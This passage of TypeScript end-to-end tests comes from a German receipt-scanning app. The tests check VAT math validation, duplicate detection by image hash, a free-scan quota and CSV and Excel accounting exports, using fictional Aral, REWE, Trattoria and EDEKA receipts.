// 1. Ingest Trattoria Bella Vista Bewirtungsbeleg fixture
|
||||
const rawExtraction = generateDeterministicDemoExtraction("02_trattoria_bewirtungsbeleg_berlin.jpg");
|
||||
expect(rawExtraction.documentType).toBe("BEWIRTUNGSBELEG");
|
||||
expect(rawExtraction.suggestedCategory).toBe("Bewirtung");
|
||||
|
||||
// 2. Validate line items contain tip item and food/drinks
|
||||
const tipItem = rawExtraction.lineItems.find((i) => i.description.includes("Trinkgeld"));
|
||||
expect(tipItem).toBeDefined();
|
||||
expect(tipItem?.price).toBe(12.5);
|
||||
|
||||
// 3. Check math validation
|
||||
const mathResult = validateReceiptMath(rawExtraction);
|
||||
expect(mathResult.isMathValid).toBe(true);
|
||||
|
||||
// 4. Generate accounting CSV
|
||||
const receipt: ProcessedReceipt = {
|
||||
...rawExtraction,
|
||||
id: "wf-2-trattoria",
|
||||
imageHash: "hash-trattoria-wf2",
|
||||
originalFileName: "02_trattoria.jpg",
|
||||
fileSizeBytes: 210000,
|
||||
createdAt: "2026-08-15T20:15:00.000Z",
|
||||
updatedAt: "2026-08-15T20:15:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const accountingCsv = generateAccountingCsv([receipt]);
|
||||
|
||||
// 5. Verify CSV formatting rules
|
||||
expect(accountingCsv.startsWith("\uFEFF")).toBe(true);
|
||||
expect(accountingCsv).toContain('"Trattoria Bella Vista - Bewirtung"');
|
||||
expect(accountingCsv).toContain('"84,50"');
|
||||
expect(accountingCsv).toContain('"70,97"');
|
||||
expect(accountingCsv).toContain('"3,08"'); // 7% VAT
|
||||
expect(accountingCsv).toContain('"10,45"'); // 19% VAT
|
||||
});
|
||||
|
||||
// Workflow 3: MicroPrompt MWST_SPLIT -> Mixed Supermarket Receipt -> Dual-Sheet Excel
|
||||
test("Workflow 3: MicroPrompt (MWST_SPLIT) -> Multi-tax receipt -> Math check pass -> Dual-Sheet Excel", async () => {
|
||||
// 1. Ingest REWE supermarket receipt fixture
|
||||
const rawExtraction = generateDeterministicDemoExtraction("04_rewe_supermarkt_kassenbon.jpg");
|
||||
expect(rawExtraction.taxBreakdown).toHaveLength(2); // 7% + 19%
|
||||
|
||||
// 2. Verify math consistency
|
||||
const mathResult = validateReceiptMath(rawExtraction);
|
||||
expect(mathResult.isMathValid).toBe(true);
|
||||
|
||||
const receipt: ProcessedReceipt = {
|
||||
...rawExtraction,
|
||||
id: "wf-3-rewe",
|
||||
imageHash: "hash-rewe-wf3",
|
||||
originalFileName: "04_rewe.jpg",
|
||||
fileSizeBytes: 165000,
|
||||
createdAt: "2026-08-15T17:45:00.000Z",
|
||||
updatedAt: "2026-08-15T17:45:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
// 3. Export to Excel
|
||||
const buf = await generateDualSheetExcel([receipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(8).value).toBe(1.31);
|
||||
expect(s1?.getRow(2).getCell(9).value).toBe(0.76);
|
||||
expect(s1?.getRow(2).getCell(10).value).toBe(24.8);
|
||||
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.rowCount).toBe(5); // 1 header + 4 items
|
||||
});
|
||||
|
||||
// Workflow 4: Multi-File Ingestion Batch -> Category Filtering -> Batch Export
|
||||
test("Workflow 4: Multi-file batch -> Preprocessing hashes -> Category filter -> Batch export", async () => {
|
||||
const names = [
|
||||
"01_aral_tankbeleg_muenchen.jpg",
|
||||
"02_trattoria_bewirtungsbeleg_berlin.jpg",
|
||||
"04_rewe_supermarkt_kassenbon.jpg",
|
||||
];
|
||||
|
||||
const processedBatch: ProcessedReceipt[] = names.map((name, i) => {
|
||||
const ext = generateDeterministicDemoExtraction(name);
|
||||
return {
|
||||
...ext,
|
||||
id: `wf4-${i}`,
|
||||
imageHash: `hash-wf4-${name}`,
|
||||
originalFileName: name,
|
||||
fileSizeBytes: 100000 + i * 50000,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
});
|
||||
|
||||
expect(processedBatch).toHaveLength(3);
|
||||
|
||||
// Filter by 'Tanken & KFZ'
|
||||
const tankenOnly = processedBatch.filter((r) => r.suggestedCategory === "Tanken & KFZ");
|
||||
expect(tankenOnly).toHaveLength(1);
|
||||
expect(tankenOnly[0].merchant.name).toContain("Aral");
|
||||
|
||||
// Export full batch to Excel
|
||||
const buf = await generateDualSheetExcel(processedBatch);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.rowCount).toBe(5); // 1 header + 3 data rows + 1 total
|
||||
});
|
||||
|
||||
// Workflow 5: Guest Quota Lifecycle (0 -> 14 -> 15 limit reached -> Pro upgrade -> Unlimited)
|
||||
test("Workflow 5: Guest scan quota lifecycle (0 -> 15 limit -> Pro switch -> unlimited)", () => {
|
||||
let scanCount = 0;
|
||||
let isPro = false;
|
||||
|
||||
// Scan 1..14
|
||||
for (let i = 0; i < 14; i++) {
|
||||
expect(isPro || scanCount < FREE_SCAN_LIMIT).toBe(true);
|
||||
scanCount++;
|
||||
}
|
||||
|
||||
// Scan 15 (15th free scan allowed)
|
||||
expect(isPro || scanCount < FREE_SCAN_LIMIT).toBe(true);
|
||||
scanCount++;
|
||||
|
||||
// Scan 16 attempt (blocked for guest)
|
||||
expect(isPro || scanCount < FREE_SCAN_LIMIT).toBe(false);
|
||||
|
||||
// User purchases Pro license
|
||||
isPro = true;
|
||||
|
||||
// Scan 16 attempt now succeeds
|
||||
expect(isPro || scanCount < FREE_SCAN_LIMIT).toBe(true);
|
||||
scanCount++;
|
||||
expect(scanCount).toBe(16);
|
||||
});
|
||||
|
||||
// Workflow 6: Discrepant Receipt -> MicroPrompt Resolution -> Status Update -> Export
|
||||
test("Workflow 6: Discrepant receipt -> 1-Click MicroPrompt confirmation -> Status Valid -> Export", async () => {
|
||||
// 1. Create a receipt with a discrepancy
|
||||
const rawData: ProcessedReceipt = {
|
||||
...generateDeterministicDemoExtraction("01_aral_tankbeleg_muenchen.jpg"),
|
||||
id: "wf-6-disc",
|
||||
imageHash: "hash-wf6",
|
||||
originalFileName: "faded_receipt.jpg",
|
||||
fileSizeBytes: 120000,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
netAmount: 40.0, // 40 + 10.93 != 68.45
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
reviewField: "taxBreakdown",
|
||||
reviewReason: "Netto + MwSt weicht von Brutto ab",
|
||||
},
|
||||
status: "needs_review",
|
||||
};
|
||||
|
||||
expect(rawData.status).toBe("needs_review");
|
||||
expect(rawData.validation.needsUserReview).toBe(true);
|
||||
|
||||
// 2. User clicks "Confirm" in MicroPromptBar
|
||||
const resolvedReceipt: ProcessedReceipt = {
|
||||
...rawData,
|
||||
netAmount: 57.52, // Fixed net
|
||||
validation: {
|
||||
...rawData.validation,
|
||||
isMathValid: true,
|
||||
needsUserReview: false,
|
||||
reviewReason: null,
|
||||
},
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
expect(resolvedReceipt.status).toBe("ready");
|
||||
expect(resolvedReceipt.validation.isMathValid).toBe(true);
|
||||
|
||||
// 3. Export verified receipt
|
||||
const csv = generateAccountingCsv([resolvedReceipt]);
|
||||
expect(csv).toContain('"Valide"');
|
||||
expect(csv).not.toContain('"Prüfung erforderlich"');
|
||||
});
|
||||
|
||||
// Workflow 7: LiveTable Inline Editing -> Math Engine Recalculation -> Export Synchronization
|
||||
test("Workflow 7: LiveTable inline edit -> Math validation re-evaluation -> Export sync", () => {
|
||||
const initial = generateDeterministicDemoExtraction("01_aral_tankbeleg_muenchen.jpg");
|
||||
|
||||
// Inline edit: user corrects gross amount from 68.45 to 68.50
|
||||
const editedData: Partial<ReceiptData> = {
|
||||
...initial,
|
||||
totalAmount: { value: 68.5, confidence: 1.0 },
|
||||
};
|
||||
|
||||
const revalidation = validateReceiptMath(editedData);
|
||||
// 57.52 + 10.93 = 68.45 != 68.50 (diff 0.05 > 0.03) -> flagged
|
||||
expect(revalidation.isMathValid).toBe(false);
|
||||
expect(revalidation.needsUserReview).toBe(true);
|
||||
|
||||
// User also corrects net amount to 57.57 -> 57.57 + 10.93 = 68.50
|
||||
const correctedData: Partial<ReceiptData> = {
|
||||
...editedData,
|
||||
netAmount: 57.57,
|
||||
};
|
||||
const correctedValidation = validateReceiptMath(correctedData);
|
||||
expect(correctedValidation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
// Workflow 8: CMD+K Spotlight Search -> Filter & Modal Inspection Selection
|
||||
test("Workflow 8: CMD+K Spotlight search -> Select matching receipt -> Data binding matches", () => {
|
||||
const list = [
|
||||
createMockReceipt({ id: "1", merchant: { name: "Aral", address: null, taxId: null, confidence: 1 } }),
|
||||
createMockReceipt({ id: "2", merchant: { name: "MediaMarkt", address: null, taxId: null, confidence: 1 } }),
|
||||
createMockReceipt({ id: "3", merchant: { name: "REWE", address: null, taxId: null, confidence: 1 } }),
|
||||
];
|
||||
|
||||
const searchQuery = "mediamarkt";
|
||||
const matched = list.filter((r) => r.merchant.name.toLowerCase().includes(searchQuery));
|
||||
expect(matched).toHaveLength(1);
|
||||
expect(matched[0].id).toBe("2");
|
||||
});
|
||||
|
||||
// Workflow 9: International Currency Receipt -> Pipeline Execution -> CSV & Excel
|
||||
test("Workflow 9: International currency receipt (USD) -> Validation -> Excel & CSV generation", async () => {
|
||||
const usdReceipt: ProcessedReceipt = {
|
||||
id: "wf-9-usd",
|
||||
merchant: { name: "Apple Store New York", address: "5th Ave", taxId: null, confidence: 0.99 },
|
||||
date: { isoDate: "2026-08-10", time: "11:00", confidence: 0.95 },
|
||||
documentType: "RECHNUNG",
|
||||
receiptNumber: "INV-US-9912",
|
||||
currency: "USD",
|
||||
totalAmount: { value: 108.87, confidence: 0.99 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 8.875, taxAmount: 8.87, netAmount: 100.0 }],
|
||||
lineItems: [{ description: "Magic Mouse 3", quantity: 1, price: 108.87, taxRate: 8.875 }],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-usd-wf9",
|
||||
originalFileName: "apple_ny.jpg",
|
||||
fileSizeBytes: 140000,
|
||||
createdAt: "2026-08-10T11:00:00.000Z",
|
||||
updatedAt: "2026-08-10T11:00:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(usdReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const csv = generateAccountingCsv([usdReceipt]);
|
||||
expect(csv).toContain('"Apple Store New York"');
|
||||
expect(csv).toContain('"108,87"');
|
||||
|
||||
const buf = await generateDualSheetExcel([usdReceipt]);
|
||||
expect(buf.length).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
// Workflow 10: Multi-Receipt Batch Export with Excel Dynamic SUM Spanning All Rows
|
||||
test("Workflow 10: 10-Receipt batch -> Dual-Sheet Excel with total formula =SUM(G2:G11)", async () => {
|
||||
const batch = Array.from({ length: 10 }, (_, i) => {
|
||||
const ext = generateDeterministicDemoExtraction();
|
||||
return {
|
||||
...ext,
|
||||
id: `batch-${i}`,
|
||||
imageHash: `hash-batch-${i}`,
|
||||
originalFileName: `receipt_${i}.jpg`,
|
||||
fileSizeBytes: 120000,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready" as const,
|
||||
};
|
||||
});
|
||||
|
||||
const buf = await generateDualSheetExcel(batch);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
const summaryRow = s1!.getRow(12); // 1 header + 10 rows + 1 summary
|
||||
const netSum = summaryRow.getCell(7);
|
||||
const grossSum = summaryRow.getCell(10);
|
||||
|
||||
expect((netSum.value as any)?.formula).toBe("SUM(G2:G11)");
|
||||
expect((grossSum.value as any)?.formula).toBe("SUM(J2:J11)");
|
||||
});
|
||||
|
||||
// Workflow 11: Image Preprocessing Hash -> Duplicate Ingestion Alert
|
||||
test("Workflow 11: Image Preprocessing -> Hash computation -> Duplicate flag detection", async () => {
|
||||
// Valid 1x1 PNG (real magic bytes) — identical bytes, identical hashes.
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const p1 = await processReceiptImage(png1x1, "image/png");
|
||||
const p2 = await processReceiptImage(png1x1, "image/png");
|
||||
|
||||
expect(p1.sha256Hash).toBe(p2.sha256Hash);
|
||||
|
||||
// Simulate existing store check
|
||||
const existingHashes = new Set([p1.sha256Hash]);
|
||||
const isDuplicate = existingHashes.has(p2.sha256Hash);
|
||||
expect(isDuplicate).toBe(true);
|
||||
});
|
||||
|
||||
// Workflow 12: Tax-Exempt Invoices (0% VAT) -> Excel & CSV Export
|
||||
test("Workflow 12: Tax-exempt invoice -> Math check 0% tax -> Excel & CSV export", async () => {
|
||||
const taxExemptReceipt: ProcessedReceipt = {
|
||||
id: "wf-12-exempt",
|
||||
merchant: { name: "Deutsche Post AG", address: "Bonn", taxId: null, confidence: 0.98 },
|
||||
date: { isoDate: "2026-08-14", time: "09:10", confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "DP-88712",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 35.0, confidence: 0.98 },
|
||||
netAmount: 35.0,
|
||||
taxBreakdown: [{ ratePercent: 0, taxAmount: 0.0, netAmount: 35.0 }],
|
||||
lineItems: [{ description: "Briefmarken Set 50x", quantity: 1, price: 35.0, taxRate: 0 }],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-post-wf12",
|
||||
originalFileName: "post.jpg",
|
||||
fileSizeBytes: 110000,
|
||||
createdAt: "2026-08-14T09:10:00.000Z",
|
||||
updatedAt: "2026-08-14T09:10:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(taxExemptReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedTaxSum).toBe(0.0);
|
||||
|
||||
const csv = generateAccountingCsv([taxExemptReceipt]);
|
||||
expect(csv).toContain('"35,00"');
|
||||
|
||||
const buf = await generateDualSheetExcel([taxExemptReceipt]);
|
||||
expect(buf.length).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
// Workflow 13: Discount Voucher + Pfand Return Combination
|
||||
test("Workflow 13: Discounted receipt with Pfand return -> Line item cross-sum -> Excel detail", async () => {
|
||||
const discountReceipt: ProcessedReceipt = {
|
||||
id: "wf-13-disc",
|
||||
merchant: { name: "EDEKA Center", address: "München", taxId: "DE881122", confidence: 0.96 },
|
||||
date: { isoDate: "2026-08-15", time: "16:00", confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "ED-9912",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 27.5, confidence: 0.98 },
|
||||
netAmount: 24.3,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 1.4, netAmount: 20.0 },
|
||||
{ ratePercent: 19, taxAmount: 1.8, netAmount: 4.3 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Einkauf Lebensmittel", quantity: 1, price: 21.4, taxRate: 7 },
|
||||
{ description: "Haushaltswaren", quantity: 1, price: 11.1, taxRate: 19 },
|
||||
{ description: "Treuerabatt Coupon", quantity: 1, price: -5.0, taxRate: 19 },
|
||||
{ description: "Pfandrückgabe", quantity: 1, price: -0.0, taxRate: 0 },
|
||||
],
|
||||
suggestedCategory: "Material & Einkauf",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-edeka-wf13",
|
||||
originalFileName: "edeka.jpg",
|
||||
fileSizeBytes: 140000,
|
||||
createdAt: "2026-08-15T16:00:00.000Z",
|
||||
updatedAt: "2026-08-15T16:00:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(discountReceipt);
|
||||
expect(val.calculatedItemsSum).toBe(27.5);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const buf = await generateDualSheetExcel([discountReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.rowCount).toBe(5); // 1 header + 4 line items
|
||||
});
|
||||
|
||||
// Workflow 14: Category Reassignment -> Category column in CSV
|
||||
test("Workflow 14: Category reassignment -> updated category column in CSV", () => {
|
||||
const receipt = createMockReceipt({
|
||||
suggestedCategory: "Bewirtung",
|
||||
merchant: { name: "Restaurant Bella", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
|
||||
const csvInitial = generateAccountingCsv([receipt]);
|
||||
expect(csvInitial).toContain('"Restaurant Bella - Bewirtung"');
|
||||
|
||||
// Reassign category to 'Reisekosten & Hotel'
|
||||
const reassigned: ProcessedReceipt = {
|
||||
...receipt,
|
||||
suggestedCategory: "Reisekosten & Hotel",
|
||||
};
|
||||
const csvUpdated = generateAccountingCsv([reassigned]);
|
||||
expect(csvUpdated).toContain('"Restaurant Bella - Reisekosten & Hotel"');
|
||||
});
|
||||
|
||||
// Workflow 15: Full End-to-End Lifecycle Execution
|
||||
test("Workflow 15: Full End-to-End Lifecycle: Ingest -> Preprocess -> Extract -> Validate -> Persist -> Dual Export", async () => {
|
||||
// 1. Ingest raw image buffer (valid 1x1 PNG — the whitelist rejects
|
||||
// non-image bytes, so the lifecycle starts from a real image)
|
||||
const mockImageBytes = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const preprocessed = await processReceiptImage(mockImageBytes, "image/png");
|
||||
expect(preprocessed.sha256Hash).toBeDefined();
|
||||
|
||||
// 2. Multimodal AI Extraction (Deterministic generator)
|
||||
const extraction = generateDeterministicDemoExtraction("01_aral_tankbeleg_muenchen.jpg");
|
||||
expect(extraction.merchant.name).toContain("Aral");
|
||||
|
||||
// 3. Math Determinism Verification
|
||||
const mathValidation = validateReceiptMath(extraction);
|
||||
expect(mathValidation.isMathValid).toBe(true);
|
||||
|
||||
// 4. Create full processed receipt record
|
||||
const processedRecord: ProcessedReceipt = {
|
||||
...extraction,
|
||||
id: `lifecycle_${Date.now()}`,
|
||||
imageHash: preprocessed.sha256Hash,
|
||||
originalFileName: "aral_tankstelle.jpg",
|
||||
fileSizeBytes: preprocessed.processedSizeBytes,
|
||||
previewUrl: preprocessed.base64DataUrl,
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString(),
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
// 5. Generate Dual-Sheet Excel
|
||||
const excelBuffer = await generateDualSheetExcel([processedRecord]);
|
||||
expect(excelBuffer.length).toBeGreaterThan(1000);
|
||||
|
||||
// 6. Generate accounting CSV
|
||||
const csvContent = generateAccountingCsv([processedRecord]);
|
||||
expect(csvContent.startsWith("\uFEFF")).toBe(true);
|
||||
expect(csvContent).toContain("Aral Tankstelle Station");
|
||||
});
|
||||
});
|
||||
|
||||
function createMockReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: "mock-wf-id",
|
||||
merchant: { name: "Mock Vendor", address: null, taxId: null, confidence: 1 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 1 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "MOCK-1",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 10.0, confidence: 1 },
|
||||
netAmount: 8.4,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6, netAmount: 8.4 }],
|
||||
lineItems: [{ description: "Item", quantity: 1, price: 10.0, taxRate: 19 }],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-mock",
|
||||
originalFileName: "mock.jpg",
|
||||
fileSizeBytes: 1000,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
653
tests/e2e/tier4_workloads.test.ts
Normal file
653
tests/e2e/tier4_workloads.test.ts
Normal file
@@ -0,0 +1,653 @@
|
||||
/**
|
||||
* Tier 4: Real-World German Receipt Workload Scenarios
|
||||
* Minimum 8 realistic German accounting & tax compliance workload scenarios.
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
import { validateReceiptMath } from "../../src/lib/ai/mathValidator";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
import ExcelJS from "exceljs";
|
||||
|
||||
describe("Tier 4: Real-World German Receipt Workload Scenarios", () => {
|
||||
// Scenario 1: Aral Tankstelle Fuel Receipt with Liters & 19% VAT
|
||||
test("Scenario 1: Aral Tankstelle Fuel Receipt with Liters & 19% VAT", async () => {
|
||||
const aralReceipt: ProcessedReceipt = {
|
||||
id: "scen-1-aral",
|
||||
merchant: {
|
||||
name: "Aral Tankstelle Station München",
|
||||
address: "Landsberger Str. 402, 81241 München",
|
||||
taxId: "DE129482910",
|
||||
confidence: 0.99,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-14",
|
||||
time: "07:35",
|
||||
confidence: 0.98,
|
||||
},
|
||||
documentType: "TANKBELEG",
|
||||
receiptNumber: "AR-882910",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 78.45,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 65.92,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 12.53,
|
||||
netAmount: 65.92,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Super E10 (42.50 l x 1.729 €/l)",
|
||||
quantity: 1,
|
||||
price: 73.48,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Kaffee Crema Groß 0.3l",
|
||||
quantity: 1,
|
||||
price: 3.5,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Croissant Natur",
|
||||
quantity: 1,
|
||||
price: 1.47,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-aral-scen-1",
|
||||
originalFileName: "01_aral_tankbeleg_muenchen.jpg",
|
||||
fileSizeBytes: 245000,
|
||||
createdAt: "2026-08-14T07:35:00.000Z",
|
||||
updatedAt: "2026-08-14T07:35:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
// 1. Math check
|
||||
const val = validateReceiptMath(aralReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedGross).toBe(78.45);
|
||||
expect(val.calculatedItemsSum).toBe(78.45);
|
||||
|
||||
// 2. Accounting CSV check
|
||||
const csv = generateAccountingCsv([aralReceipt]);
|
||||
expect(csv).toContain('"Aral Tankstelle Station München"');
|
||||
expect(csv).toContain('"78,45"');
|
||||
expect(csv).toContain('"12,53"');
|
||||
expect(csv).toContain('"14.08.2026"');
|
||||
|
||||
// 3. Excel check
|
||||
const buf = await generateDualSheetExcel([aralReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(4).value).toBe("Tanken & KFZ");
|
||||
});
|
||||
|
||||
// Scenario 2: REWE Supermarkt Mixed Food (7%) & Non-Food (19%) Basket
|
||||
test("Scenario 2: REWE Supermarkt Mixed Food (7%) & Non-Food (19%) Basket with Pfand", async () => {
|
||||
const reweReceipt: ProcessedReceipt = {
|
||||
id: "scen-2-rewe",
|
||||
merchant: {
|
||||
name: "REWE Markt GmbH Filiale 441",
|
||||
address: "Friedrichstraße 100, 10117 Berlin",
|
||||
taxId: "DE811122334",
|
||||
confidence: 0.98,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "18:20",
|
||||
confidence: 0.97,
|
||||
},
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "RW-2026-8819",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 34.62,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 31.78,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 7,
|
||||
taxAmount: 1.63,
|
||||
netAmount: 23.32,
|
||||
},
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 1.21,
|
||||
netAmount: 8.46,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "REWE Bio Vollmilch 3.8% 1l",
|
||||
quantity: 2,
|
||||
price: 3.18,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Bio Bananen Fairtrade 1.2 kg",
|
||||
quantity: 1,
|
||||
price: 2.39,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Dinkel Sauerteigbrot 500g",
|
||||
quantity: 1,
|
||||
price: 3.99,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Gouda jung Bio 400g",
|
||||
quantity: 1,
|
||||
price: 4.49,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Espresso Bohnen Bio 1kg",
|
||||
quantity: 1,
|
||||
price: 10.9,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Küchenrolle Recycling 4er",
|
||||
quantity: 1,
|
||||
price: 4.74,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Spülmittel Lemon 500ml",
|
||||
quantity: 1,
|
||||
price: 2.43,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Mineralwasser Medium 1.0l",
|
||||
quantity: 1,
|
||||
price: 2.5,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Verpflegungsmehraufwand",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-rewe-scen-2",
|
||||
originalFileName: "04_rewe_supermarkt_kassenbon.jpg",
|
||||
fileSizeBytes: 210000,
|
||||
createdAt: "2026-08-15T18:20:00.000Z",
|
||||
updatedAt: "2026-08-15T18:20:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(reweReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedTaxSum).toBe(2.84); // 1.63 + 1.21
|
||||
|
||||
const buf = await generateDualSheetExcel([reweReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.rowCount).toBe(9); // 1 header + 8 line items
|
||||
});
|
||||
|
||||
// Scenario 3: Trattoria Bella Vista Bewirtungsbeleg with Tip & Attendees (§4 Abs. 5 EStG)
|
||||
test("Scenario 3: Trattoria Bella Vista Bewirtungsbeleg with Tip & Attendees (§4 Abs. 5 EStG)", async () => {
|
||||
const trattoriaReceipt: ProcessedReceipt = {
|
||||
id: "scen-3-trattoria",
|
||||
merchant: {
|
||||
name: "Trattoria Bella Vista Ristorante",
|
||||
address: "Marktplatz 12, 10115 Berlin",
|
||||
taxId: "DE987654321",
|
||||
confidence: 0.96,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "21:10",
|
||||
confidence: 0.95,
|
||||
},
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
receiptNumber: "TR-2026-9941",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 125.5,
|
||||
confidence: 0.97,
|
||||
},
|
